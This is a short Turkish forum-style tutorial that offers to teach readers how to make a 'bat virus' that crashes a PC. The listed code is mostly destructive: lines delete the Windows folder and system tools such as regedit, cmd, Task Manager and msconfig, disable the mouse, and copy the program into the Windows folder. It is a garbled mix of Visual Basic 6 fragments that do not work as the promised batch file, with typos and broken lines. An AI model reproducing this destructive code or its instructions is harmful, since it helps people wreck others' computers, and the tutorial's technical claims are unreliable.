Bat virüsü yapımı

Merhaba arkadaşlar bugün sizlere pc çökerten bat virüsü yapmayı öğretecem ilk önce notepadi açıyoruz ve oraya aşağıdaki kodları yazıyoruz ve sol üstteki dosya seçeneğinden farklı kaydeti seçip ismini değiştiriyoruz örnek olarak virüs.bat olarak kaydediyoruz ismini değiştirebilirsiniz ama .bat değiştirmeyin yoksa virüs çalışmaz ve kendiniz tıklamayın yoksa pc çöker sorumlusu ben değilim

Kodlar:
Kill "C:\WİNDOWS"



Shell "rundll32 mouse,disable"


If App.PrevInstance Then
MsgBox "Program Zaten Aktif Durumda", vbCritical, "Hata"
End
End If
End Sub



Kill "C:\WINDOWS\regedit.exe"


Dim ben As String
ben = App.Path & "\" & App.EXEName & ".exe"
FileCopy ben, "c:\windows\mrss32.exe"







Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long


Private Sub Command1_Click()
mciExecute ("Set CDAudio door Open")
End Sub

ill "C:\WINDOWS\system32\cmd.exe"


Kill ("run.exe")



On Error Resume Next
Kill ("c:/windows/system32/osk.exe")




ON LOCAL ERROR RESUME NEXT
Kill "c:\windows\system32\taskmgr.exe"


Kill "C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe"


Kill "C:\WINDOWS\Help\msconfig.exe